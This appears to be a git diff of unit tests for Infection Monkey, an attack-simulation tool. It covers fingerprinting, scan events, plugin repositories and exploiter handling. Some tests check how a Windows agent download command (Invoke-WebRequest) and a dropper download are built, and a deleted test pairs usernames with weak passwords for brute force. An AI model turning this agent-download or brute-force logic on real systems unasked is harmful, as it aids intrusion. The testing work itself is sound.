test_fingerprint_exception_handling(puppet: Puppet, mock_plugin_registry: PluginRegistry): mock_plugin_registry.get_plugin = MagicMock(side_effect=Exception) # type: ignore [assignment] assert ( - puppet.fingerprint("", "", PingScanData(response_received=False, os="windows"), {}, {}) + puppet.fingerprint( + "", + "", + PingScanData(response_received=False, os="windows"), + {}, # type: ignore [arg-type] + {}, # type: ignore [arg-type] + ) == EMPTY_FINGERPRINT ) @@ -176,7 +193,7 @@ def test_malfunctioning_plugin__exploiter(puppet: Puppet): malfunctioning_exploiter.run = MagicMock(return_value=None) puppet.load_plugin(AgentPluginType.EXPLOITER, FAKE_NAME, malfunctioning_exploiter) - exploiter_result_data = puppet.exploit_host( + exploiter_result = puppet.exploit_host( name=FAKE_NAME, host=TargetHost(ip="1.1.1.1", operating_system=OperatingSystem.WINDOWS), current_depth=1, @@ -185,9 +202,9 @@ def test_malfunctioning_plugin__exploiter(puppet: Puppet): interrupt=threading.Event(), ) - assert exploiter_result_data.exploitation_success is False - assert exploiter_result_data.propagation_success is False - assert exploiter_result_data.error_message != "" + assert exploiter_result.exploitation_success is False + assert exploiter_result.propagation_success is False + assert exploiter_result.error_message != "" def test_exploit_host__incompatible_local_operating_system( diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py deleted file mode 100644 index ef2ac966ade..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py +++ /dev/null @@ -1,25 +0,0 @@ -import pytest - -from infection_monkey.utils.brute_force import generate_identity_secret_pairs - -USERNAMES = ["shaggy", "scooby"] -PASSWORDS = ["1234", "iloveyou", "the_cake_is_a_lie"] -EXPECTED_USERNAME_PASSWORD_PAIRS = { - (USERNAMES[0], PASSWORDS[0]), - (USERNAMES[0], PASSWORDS[1]), - (USERNAMES[0], PASSWORDS[2]), - (USERNAMES[1], PASSWORDS[0]), - (USERNAMES[1], PASSWORDS[1]), - (USERNAMES[1], PASSWORDS[2]), -} - - -def test_generate_username_password_pairs(): - generated_pairs = generate_identity_secret_pairs(USERNAMES, PASSWORDS) - assert set(generated_pairs) == EXPECTED_USERNAME_PASSWORD_PAIRS - - -@pytest.mark.parametrize("usernames, passwords", [(USERNAMES, []), ([], PASSWORDS), ([], [])]) -def test_generate_username_password_pairs__empty_inputs(usernames, passwords): - generated_pairs = generate_identity_secret_pairs(usernames, passwords) - assert len(set(generated_pairs)) == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 332abca1a98..480eb15116b 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -124,12 +124,19 @@ def test_build_agent_download_command__linux(build_command_fn: Callable[[TargetH assert url in linux_download_command -@pytest.mark.parametrize( - "build_command_fn", [build_agent_download_command, build_dropper_script_download_command] -) -def test_build_agent_download_command__windows(build_command_fn: Callable[[TargetHost, str], str]): +def test_build_agent_download_command__windows(): + target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + url = "https://example.com/agent" + + windows_download_command = build_agent_download_command(target_host, url) + + assert "Invoke-WebRequest" in windows_download_command + assert url in windows_download_command + + +def test_build_droper_download_command__windows(): target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) url = "https://example.com/agent" with pytest.raises(NotImplementedError): - build_command_fn(target_host, url) + build_dropper_script_download_command(target_host, url) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py deleted file mode 100644 index fe9bae2e528..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py +++ /dev/null @@ -1,78 +0,0 @@ -import time -from unittest.mock import MagicMock - -import pytest -from egg_timer import EggTimer - -from infection_monkey.utils.decorators import request_cache - - -class MockTimer(EggTimer): - def __init__(self): - self._timeout_ns = 0 - self._start_time_ns = 0 - - def set(self, timeout_sec: float): - self._timeout_ns = timeout_sec * 1e9 - self._start_time_ns = time.monotonic_ns() - - def set_expired(self): - self._timeout_ns = 0 - - @property - def time_remaining_sec(self) -> float: - return self._timeout_ns - - def reset(self): - """ - Reset the timer without changing the timeout - """ - self._timeout_ns = self._start_time_ns - - -class MockTimerFactory: - def __init__(self): - self._instance = None - - def __call__(self): - if self._instance is None: - mt = MockTimer() - self._instance = mt - - return self._instance - - def reset(self): - self._instance = None - - -mock_timer_factory = MockTimerFactory() - - -@pytest.fixture -def mock_timer(monkeypatch): - mock_timer_factory.reset - - monkeypatch.setattr("infection_monkey.utils.decorators.EggTimer", mock_timer_factory) - - return mock_timer_factory() - - -def test_request_cache(mock_timer): - mock_request = MagicMock(side_effect=lambda: time.perf_counter_ns()) - - @request_cache(10) - def make_request(): - return mock_request() - - t1 = make_request() - t2 = make_request() - - assert t1 == t2 - - mock_timer.set_expired() - - t3 = make_request() - t4 = make_request() - - assert t3 != t1 - assert t3 == t4 diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_fingerprinting_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_fingerprinting_event_handler.py new file mode 100644 index 00000000000..1ea70e4eeea --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_fingerprinting_event_handler.py @@ -0,0 +1,133 @@ +from ipaddress import IPv4Address, IPv4Interface +from unittest.mock import MagicMock +from uuid import UUID + +import pytest + +from common import OperatingSystem +from common.agent_events import FingerprintingEvent +from common.types import ( + DiscoveredService, + NetworkPort, + NetworkProtocol, + NetworkService, + SocketAddress, +) +from monkey_island.cc.agent_event_handlers import FingerprintingEventHandler +from monkey_island.cc.models import Machine +from monkey_island.cc.repositories import IMachineRepository, NetworkModelUpdateFacade + +AGENT_ID = UUID("1d8ce743-a0f4-45c5-96af-91106529d3e2") +TARGET_MACHINE_IP = IPv4Address("10.10.10.1") +TARGET_MACHINE_ID = 33 +SEED_ID = 99 + + +DISCOVERED_SERVICES = ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(5000), service=NetworkService.HTTPS + ), + DiscoveredService( + protocol=NetworkProtocol.UDP, port=NetworkPort(5001), service=NetworkService.MSSQL + ), +) + +NETWORK_SERVICES = { + SocketAddress(ip=TARGET_MACHINE_IP, port=NetworkPort(5000)): NetworkService.HTTPS, + SocketAddress(ip=TARGET_MACHINE_IP, port=NetworkPort(5001)): NetworkService.MSSQL, +} + + +FINGERPRINTING_EVENT_NO_OS_INFO_NO_SERVICES = FingerprintingEvent( + source=AGENT_ID, + target=TARGET_MACHINE_IP, +) + +FINGERPRINTING_EVENT_NO_SERVICES = FingerprintingEvent( + source=AGENT_ID, + target=TARGET_MACHINE_IP, + os=OperatingSystem.LINUX, + os_version="Debian", +) + +FINGERPRINTING_EVENT_NO_OS_INFO = FingerprintingEvent( + source=AGENT_ID, target=TARGET_MACHINE_IP, discovered_services=DISCOVERED_SERVICES +) + +FINGERPRINTING_EVENT = FingerprintingEvent( + source=AGENT_ID, + target=TARGET_MACHINE_IP, + os=OperatingSystem.WINDOWS, + os_version="XP", + discovered_services=DISCOVERED_SERVICES, +) + + +@pytest.fixture +def target_machine() -> Machine: + return Machine( + id=TARGET_MACHINE_ID, + hardware_id=9, + network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")], + ) + + +@pytest.fixture +def machine_repository() -> IMachineRepository: + return MagicMock(spec=IMachineRepository) + + +@pytest.fixture +def network_model_update_facade(target_machine) -> NetworkModelUpdateFacade: + network_model_update_facade = MagicMock(ispec=NetworkModelUpdateFacade) + network_model_update_facade.get_or_create_target_machine = lambda target: target_machine + return network_model_update_facade + + +@pytest.fixture +def fingerprinting_event_handler(network_model_update_facade, machine_repository): + return FingerprintingEventHandler(network_model_update_facade, machine_repository) + + +def test_fingerprinting_event_handler( + fingerprinting_event_handler, machine_repository: IMachineRepository +): + fingerprinting_event_handler.handle_fingerprinting_event(FINGERPRINTING_EVENT) + + assert machine_repository.upsert_machine.call_count == 2 + assert machine_repository.upsert_network_services.call_count == 1 + machine_repository.upsert_network_services.assert_called_with( + TARGET_MACHINE_ID, NETWORK_SERVICES + ) + + +def test_fingerprinting_event_handler__no_services( + fingerprinting_event_handler, machine_repository: IMachineRepository +): + fingerprinting_event_handler.handle_fingerprinting_event(FINGERPRINTING_EVENT_NO_SERVICES) + + assert machine_repository.upsert_machine.call_count == 2 + assert machine_repository.upsert_network_services.call_count == 0 + + +def test_fingerprinting_event_handler__no_os_info( + fingerprinting_event_handler, machine_repository: IMachineRepository +): + fingerprinting_event_handler.handle_fingerprinting_event(FINGERPRINTING_EVENT_NO_OS_INFO) + + assert machine_repository.upsert_machine.call_count == 0 + assert machine_repository.upsert_network_services.call_count == 1 + machine_repository.upsert_network_services.assert_called_with( + TARGET_MACHINE_ID, NETWORK_SERVICES + ) + + +def test_fingerprinting_event_handler__no_os_info_no_services( + fingerprinting_event_handler, machine_repository: IMachineRepository +): + fingerprinting_event_handler.handle_fingerprinting_event( + FINGERPRINTING_EVENT_NO_OS_INFO_NO_SERVICES + ) + + assert machine_repository.upsert_machine.call_count == 0 + assert machine_repository.upsert_network_services.call_count == 0 diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index 9113430378f..8add92d70ff 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -1,6 +1,7 @@ from copy import deepcopy from ipaddress import IPv4Address, IPv4Interface from itertools import count +from typing import Callable, Dict, Sequence from unittest.mock import MagicMock from uuid import UUID @@ -9,7 +10,7 @@ from common import OperatingSystem from common.agent_events import PingScanEvent, TCPScanEvent -from common.types import NetworkService, PortStatus, SocketAddress +from common.types import MachineID, NetworkService, PortStatus, SocketAddress from monkey_island.cc.agent_event_handlers import ScanEventHandler from monkey_island.cc.models import Agent, CommunicationType, Machine, Node from monkey_island.cc.repositories import ( @@ -36,22 +37,32 @@ cc_server=CC_SERVER, sha256=AGENT_SHA256, ) -SOURCE_MACHINE = Machine( - id=SOURCE_MACHINE_ID, - hardware_id=5, - network_interfaces=[IPv4Interface("10.10.10.99/24")], -) + + +@pytest.fixture +def source_machine() -> Machine: + return Machine( + id=SOURCE_MACHINE_ID, + hardware_id=5, + network_interfaces=[IPv4Interface("10.10.10.99/24")], + ) + TARGET_MACHINE_ID = 33 TARGET_MACHINE_IP = "10.10.10.1" -TARGET_MACHINE = Machine( - id=TARGET_MACHINE_ID, - hardware_id=9, - network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")], -) + + +@pytest.fixture +def target_machine() -> Machine: + return Machine( + id=TARGET_MACHINE_ID, + hardware_id=9, + network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")], + ) + SOURCE_NODE = Node( - machine_id=SOURCE_MACHINE.id, + machine_id=SOURCE_MACHINE_ID, connections=[], tcp_connections={ 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)) @@ -113,7 +124,10 @@ def agent_repository() -> IAgentRepository: @pytest.fixture -def machine_repository() -> IMachineRepository: +def machine_repository( + machine_from_id: Callable[[MachineID], Machine], + machines_from_ip: Callable[[IPv4Address], Sequence[Machine]], +) -> IMachineRepository: machine_repository = MagicMock(spec=IMachineRepository) machine_repository.get_machine_by_id = MagicMock(side_effect=machine_from_id) machine_repository.get_machines_by_ip = MagicMock(side_effect=machines_from_ip) @@ -150,24 +164,40 @@ def scan_event_handler(network_model_update_facade, machine_repository, node_rep return ScanEventHandler(network_model_update_facade, machine_repository, node_repository) -MACHINES_BY_ID = {SOURCE_MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE} -MACHINES_BY_IP = { - IPv4Address("10.10.10.99"): [SOURCE_MACHINE], - IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE], -} +@pytest.fixture +def machines_by_id(source_machine: Machine, target_machine: Machine) -> Dict[MachineID, Machine]: + return {source_machine.id: source_machine, target_machine.id: target_machine} -@pytest.fixture(params=[SOURCE_MACHINE.id, TARGET_MACHINE.id]) +@pytest.fixture +def machines_by_ip( + source_machine: Machine, target_machine: Machine +) -> Dict[IPv4Address, Sequence[Machine]]: + return { + IPv4Address("10.10.10.99"): [source_machine], + IPv4Address(TARGET_MACHINE_IP): [target_machine], + } + + +@pytest.fixture(params=[SOURCE_MACHINE_ID, TARGET_MACHINE_ID]) def machine_id(request): return request.param -def machine_from_id(id: int): - return MACHINES_BY_ID[id] +@pytest.fixture +def machine_from_id(machines_by_id) -> Callable[[MachineID], Machine]: + def inner(id: int) -> Machine: + return machines_by_id[id] + + return inner + +@pytest.fixture +def machines_from_ip(machines_by_ip) -> Callable[[IPv4Address], Sequence[Machine]]: + def inner(ip: IPv4Address) -> Sequence[Machine]: + return machines_by_ip[ip] -def machines_from_ip(ip: IPv4Address): - return MACHINES_BY_IP[ip] + return inner HANDLE_PING_SCAN_METHOD = "handle_ping_scan_event" @@ -217,7 +247,6 @@ def test_handle_tcp_scan_event__no_open_ports( scan_event_handler, machine_repository, node_repository ): event = TCP_SCAN_EVENT_CLOSED - scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) assert not node_repository.upsert_tcp_connections.called @@ -227,7 +256,6 @@ def test_handle_tcp_scan_event__ports_found( scan_event_handler, machine_repository, node_repository ): event = TCP_SCAN_EVENT - scan_event_handler._update_nodes = MagicMock() node_repository.get_node_by_machine_id.return_value = SOURCE_NODE scan_event_handler.handle_tcp_scan_event(event) @@ -249,13 +277,14 @@ def test_upserts_node( handler, machine_repository: IMachineRepository, node_repository: INodeRepository, + target_machine: Machine, ): - machine_repository.get_machines_by_ip = MagicMock(return_value=[TARGET_MACHINE]) + machine_repository.get_machines_by_ip = MagicMock(return_value=[target_machine]) handler(event) node_repository.upsert_communication.assert_called_with( - SOURCE_MACHINE.id, TARGET_MACHINE.id, CommunicationType.SCANNED + SOURCE_MACHINE_ID, TARGET_MACHINE_ID, CommunicationType.SCANNED ) @@ -270,9 +299,10 @@ def test_node_not_upserted_if_no_matching_agent( agent_repository: IAgentRepository, machine_repository: IMachineRepository, node_repository: INodeRepository, + target_machine: Machine, ): agent_repository.get_agent_by_id = MagicMock(side_effect=UnknownRecordError) - machine_repository.get_machine_by_id = MagicMock(return_value=TARGET_MACHINE) + machine_repository.get_machine_by_id = MagicMock(return_value=target_machine) with pytest.raises(UnknownRecordError): handler(event) @@ -315,9 +345,9 @@ def test_machine_not_upserted(event, handler, machine_repository: IMachineReposi def test_machine_not_upserted_if_existing_machine_has_os( - scan_event_handler, machine_repository: IMachineRepository + scan_event_handler, machine_repository: IMachineRepository, target_machine: Machine ): - machine_with_os = TARGET_MACHINE + machine_with_os = target_machine machine_with_os.operating_system = OperatingSystem.WINDOWS machine_repository.get_machines_by_ip = MagicMock(return_value=[machine_with_os]) @@ -330,8 +360,9 @@ def test_node_not_upserted_by_ping_scan_event_if_machine_storageerror( scan_event_handler, machine_repository: IMachineRepository, node_repository: INodeRepository, + machines_from_ip: Callable[[IPv4Address], Sequence[Machine]], + target_machine: Machine, ): - target_machine = TARGET_MACHINE target_machine.operating_system = None machine_repository.get_machines_by_ip = MagicMock(side_effect=machines_from_ip) machine_repository.upsert_machine = MagicMock(side_effect=StorageError) @@ -384,3 +415,20 @@ def test_network_services_handling(scan_event_handler, machine_repository): machine_repository.upsert_network_services.assert_called_with( TARGET_MACHINE_ID, EXPECTED_NETWORK_SERVICES ) + + +def test_known_network_services_not_overwritten( + scan_event_handler, machine_repository, target_machine +): + target_machine.network_services = { + SocketAddress(ip=TARGET_MACHINE_IP, port=22): NetworkService.SSH + } + expected_upserted_services = { + SocketAddress(ip=TARGET_MACHINE_IP, port=80): NetworkService.UNKNOWN + } + + scan_event_handler.handle_tcp_scan_event(TCP_SCAN_EVENT) + + machine_repository.upsert_network_services.assert_called_with( + TARGET_MACHINE_ID, expected_upserted_services + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 4481877fd49..53dfe4c9c82 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -7,7 +7,6 @@ from tests.unit_tests.monkey_island.conftest import init_mock_security_app import monkey_island.cc.app -import monkey_island.cc.resources.island_mode from monkey_island.cc.repositories import IFileRepository from monkey_island.cc.server_utils.encryption import ILockableEncryptor diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/conftest.py deleted file mode 100644 index 7342453692a..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/conftest.py +++ /dev/null @@ -1,28 +0,0 @@ -from pathlib import Path - -import pytest - - -@pytest.fixture -def plugin_file(plugin_data_dir) -> Path: - return plugin_data_dir / "test-exploiter.tar" - - -@pytest.fixture -def missing_manifest_plugin_file(plugin_data_dir) -> Path: - return plugin_data_dir / "missing-manifest.tar" - - -@pytest.fixture -def bad_plugin_file(plugin_data_dir) -> Path: - return plugin_data_dir / "bad-exploiter.tar" - - -@pytest.fixture -def symlink_plugin_file(plugin_data_dir) -> Path: - return plugin_data_dir / "symlink-exploiter.tar" - - -@pytest.fixture -def dir_plugin_file(plugin_data_dir) -> Path: - return plugin_data_dir / "dir-exploiter.tar" diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_agent_plugin_repository_caching_decorator.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_agent_plugin_repository_caching_decorator.py deleted file mode 100644 index 6c300ba9cc9..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_agent_plugin_repository_caching_decorator.py +++ /dev/null @@ -1,61 +0,0 @@ -import pytest -from tests.monkey_island import InMemoryAgentPluginRepository -from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import ( - FAKE_AGENT_PLUGIN_1, - FAKE_AGENT_PLUGIN_2, - FAKE_PLUGIN_ARCHIVE_2, - FAKE_PLUGIN_CONFIG_SCHEMA_2, -) - -from common import OperatingSystem -from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType -from monkey_island.cc.repositories import ( - AgentPluginRepositoryCachingDecorator, - IAgentPluginRepository, -) - - -@pytest.fixture -def in_memory_agent_plugin_repository() -> IAgentPluginRepository: - return InMemoryAgentPluginRepository() - - -@pytest.fixture -def agent_plugin_repository(in_memory_agent_plugin_repository) -> IAgentPluginRepository: - return AgentPluginRepositoryCachingDecorator(in_memory_agent_plugin_repository) - - -def test_get_cached_plugin(agent_plugin_repository, in_memory_agent_plugin_repository): - common_name = FAKE_AGENT_PLUGIN_1.plugin_manifest.name - - manifest_params = FAKE_AGENT_PLUGIN_2.plugin_manifest.dict(simplify=True) - manifest_params["name"] = common_name - agent_plugin_with_same_name = AgentPlugin( - plugin_manifest=AgentPluginManifest(**manifest_params), - config_schema=FAKE_PLUGIN_CONFIG_SCHEMA_2, - source_archive=FAKE_PLUGIN_ARCHIVE_2, - supported_operating_systems=(OperatingSystem.LINUX,), - ) - - in_memory_agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_1) - retrieved_plugin_1 = agent_plugin_repository.get_plugin( - OperatingSystem.LINUX, AgentPluginType.EXPLOITER, common_name - ) - - in_memory_agent_plugin_repository.save_plugin(agent_plugin_with_same_name) - retrieved_plugin_2 = agent_plugin_repository.get_plugin( - OperatingSystem.LINUX, AgentPluginType.EXPLOITER, common_name - ) - - assert retrieved_plugin_1 == retrieved_plugin_2 - assert retrieved_plugin_2.config_schema != agent_plugin_with_same_name.config_schema - - -def test_get_cached_plugin_manifests(agent_plugin_repository, in_memory_agent_plugin_repository): - in_memory_agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_1) - request_1_plugin_manifests = agent_plugin_repository.get_all_plugin_manifests() - - in_memory_agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_2) - request_2_plugin_manifests = agent_plugin_repository.get_all_plugin_manifests() - - assert request_2_plugin_manifests == request_1_plugin_manifests diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_agent_plugin_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_agent_plugin_repository.py deleted file mode 100644 index cc5198e5ec6..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_agent_plugin_repository.py +++ /dev/null @@ -1,93 +0,0 @@ -from os.path import basename - -import pytest -from tests.monkey_island import InMemoryFileRepository - -from common import OperatingSystem -from common.agent_plugins import AgentPluginManifest, AgentPluginType -from monkey_island.cc.repositories import ( - FileAgentPluginRepository, - RetrievalError, - UnknownRecordError, -) - -EXPECTED_MANIFEST = AgentPluginManifest( - name="test", - plugin_type=AgentPluginType.EXPLOITER, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.WINDOWS, OperatingSystem.LINUX), - title="dummy-exploiter", - version="1.0.0", - description="A dummy exploiter", - safe=True, -) - - -@pytest.fixture -def file_repository() -> InMemoryFileRepository: - return InMemoryFileRepository() - - -@pytest.fixture -def agent_plugin_repository(file_repository: InMemoryFileRepository) -> FileAgentPluginRepository: - return FileAgentPluginRepository(file_repository) - - -def test_get_plugin(plugin_file, file_repository: InMemoryFileRepository, agent_plugin_repository): - with open(plugin_file, "rb") as file: - file_repository.save_file(basename(plugin_file), file) - plugin = agent_plugin_repository.get_plugin( - OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, "test" - ) - - assert plugin.plugin_manifest == EXPECTED_MANIFEST - assert isinstance(plugin.config_schema, dict) - assert len(plugin.source_archive) == 10240 - - -def test_get_plugin__UnknownRecordError_if_not_exist(agent_plugin_repository): - with pytest.raises(UnknownRecordError): - agent_plugin_repository.get_plugin( - OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, "does_not_exist" - ) - - -def test_get_plugin__RetrievalError_if_bad_plugin( - bad_plugin_file, file_repository: InMemoryFileRepository, agent_plugin_repository -): - with open(bad_plugin_file, "rb") as file: - file_repository.save_file(basename(bad_plugin_file), file) - with pytest.raises(RetrievalError): - agent_plugin_repository.get_plugin( - OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, "bad" - ) - - -def test_get_plugin__RetrievalError_if_unsupported_os( - plugin_file, file_repository: InMemoryFileRepository, agent_plugin_repository -): - with open(plugin_file, "rb") as file: - file_repository.save_file(basename(plugin_file), file) - with pytest.raises(RetrievalError): - agent_plugin_repository.get_plugin("unrecognised OS", AgentPluginType.EXPLOITER, "test") - - -def test_get_all_plugin_manifests( - plugin_file, file_repository: InMemoryFileRepository, agent_plugin_repository -): - with open(plugin_file, "rb") as file: - file_repository.save_file(basename(plugin_file), file) - - actual_plugin_manifests = agent_plugin_repository.get_all_plugin_manifests() - - assert actual_plugin_manifests == {AgentPluginType.EXPLOITER: {"test": EXPECTED_MANIFEST}} - - -def test_get_all_plugin_manifests__RetrievalError_if_bad_plugin_type( - plugin_file, file_repository: InMemoryFileRepository, agent_plugin_repository -): - with open(plugin_file, "rb") as file: - file_repository.save_file("ssh-bogus.tar", file) - - with pytest.raises(RetrievalError): - agent_plugin_repository.get_all_plugin_manifests() diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_simulation_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_simulation_repository.py index 127168e7119..4e4a553fc7c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_simulation_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_file_simulation_repository.py @@ -1,7 +1,9 @@ +import datetime + import pytest from tests.monkey_island import OpenErrorFileRepository, SingleFileRepository -from monkey_island.cc.models import IslandMode, Simulation +from monkey_island.cc.models import Simulation from monkey_island.cc.repositories import FileSimulationRepository, RetrievalError @@ -10,9 +12,8 @@ def simulation_repository(): return FileSimulationRepository(SingleFileRepository()) -@pytest.mark.parametrize("mode", list(IslandMode)) -def test_save_simulation(simulation_repository, mode): - simulation = Simulation(mode=mode) +def test_save_simulation(simulation_repository): + simulation = Simulation(terminate_signal_time=datetime.datetime.now()) simulation_repository.save_simulation(simulation) assert simulation_repository.get_simulation() == simulation @@ -24,25 +25,8 @@ def test_get_default_simulation(simulation_repository): assert simulation_repository.get_simulation() == default_simulation -def test_set_mode(simulation_repository): - simulation_repository.set_mode(IslandMode.ADVANCED) - - assert simulation_repository.get_mode() == IslandMode.ADVANCED - - -def test_get_mode_default(simulation_repository): - assert simulation_repository.get_mode() == IslandMode.UNSET - - def test_get_simulation_retrieval_error(): simulation_repository = FileSimulationRepository(OpenErrorFileRepository()) with pytest.raises(RetrievalError): simulation_repository.get_simulation() - - -def test_get_mode_retrieval_error(): - simulation_repository = FileSimulationRepository(OpenErrorFileRepository()) - - with pytest.raises(RetrievalError): - simulation_repository.get_mode() diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_agent_event_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_agent_event_repository.py index 2c48bb71145..040ad31907a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_agent_event_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_agent_event_repository.py @@ -1,3 +1,4 @@ +import datetime import uuid from typing import Any, Iterable, List, Mapping from unittest.mock import MagicMock @@ -134,6 +135,33 @@ def test_mongo_agent_event_repository__get_events(mongo_repository: IAgentEventR assert_same_contents(events, EVENTS) +def test_mongo_agent_event_repository__query_events_sorted_by_timestamp( + mongo_repository: IAgentEventRepository, mongo_client +): + event_1 = FakeAgentEvent( + source=uuid.uuid4(), timestamp=datetime.datetime(2000, 1, 1, 12, 0, 0, 0).timestamp() + ) + event_2 = FakeAgentEvent( + source=uuid.uuid4(), timestamp=datetime.datetime(2010, 1, 1, 12, 0, 0, 0).timestamp() + ) + event_3 = FakeAgentEvent( + source=uuid.uuid4(), timestamp=datetime.datetime(2020, 1, 1, 12, 0, 0, 0).timestamp() + ) + event_4 = FakeAgentEvent( + source=uuid.uuid4(), timestamp=datetime.datetime(2030, 1, 1, 12, 0, 0, 0).timestamp() + ) + + mongo_repository.save_event(event_4) + mongo_repository.save_event(event_2) + mongo_repository.save_event(event_1) + mongo_repository.save_event(event_3) + + events = mongo_repository.get_events() + sorted_events = sorted(events, key=lambda event: event.timestamp) + + assert events == sorted_events + + def test_mongo_agent_event_repository__get_events_raises( error_raising_mongo_repository: IAgentEventRepository, ): diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_events.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_events.py index d1ed6c51f63..1b63fc181c1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_events.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_events.py @@ -1,16 +1,18 @@ +import uuid from http import HTTPStatus from ipaddress import IPv4Address from unittest.mock import MagicMock from uuid import UUID import pytest +from pydantic import Field from tests.common import StubDIContainer from common.agent_event_serializers import ( AgentEventSerializerRegistry, PydanticAgentEventSerializer, ) -from common.agent_events import AbstractAgentEvent, AgentEventRegistry +from common.agent_events import AbstractAgentEvent, AgentEventRegistry, AgentEventTag from common.event_queue import IAgentEventQueue from monkey_island.cc.repositories import IAgentEventRepository from monkey_island.cc.resources import AgentEvents @@ -19,7 +21,7 @@ class SomeAgentEvent(AbstractAgentEvent): - some_field: int + some_field: int = Field(default=0) class OtherAgentEvent(AbstractAgentEvent): @@ -81,11 +83,29 @@ class DifferentAgentEvent(AbstractAgentEvent): tags=frozenset({"some-event3"}), ) +TIMESTAMP_EVENT_1 = SomeAgentEvent(source=uuid.uuid4(), timestamp=1) + +TIMESTAMP_EVENT_2 = SomeAgentEvent(source=uuid.uuid4(), timestamp=2) + +TIMESTAMP_EVENT_3 = SomeAgentEvent(source=uuid.uuid4(), timestamp=3) + +TIMESTAMP_EVENT_4 = SomeAgentEvent(source=uuid.uuid4(), timestamp=4) + +TIMESTAMP_EVENT_5 = SomeAgentEvent(source=uuid.uuid4(), timestamp=5) + LIST_EVENTS = [SERIALIZED_EVENT_1, SERIALIZED_EVENT_2, SERIALIZED_EVENT_3] EXPECTED_EVENTS = [EXPECTED_EVENT_1, EXPECTED_EVENT_2, EXPECTED_EVENT_3] +TIMESTAMP_EVENTS = [ + TIMESTAMP_EVENT_1, + TIMESTAMP_EVENT_2, + TIMESTAMP_EVENT_3, + TIMESTAMP_EVENT_4, + TIMESTAMP_EVENT_5, +] + class PassFailAgentEvent_type1(AbstractAgentEvent): success: bool @@ -96,7 +116,11 @@ class PassFailAgentEvent_type2(AbstractAgentEvent): PFAE1_1 = PassFailAgentEvent_type1( - source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), timestamp=42, success=False, target=1 + source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), + timestamp=42, + success=False, + target=1, + tags={AgentEventTag("_1")}, ) SERIALIZED_PFAE1_1 = { "type": PassFailAgentEvent_type1.__name__, @@ -104,10 +128,13 @@ class PassFailAgentEvent_type2(AbstractAgentEvent): "source": "f811ad00-5a68-4437-bd51-7b5cc1768ad5", "target": 1, "timestamp": 42.0, - "tags": [], + "tags": ["_1"], } 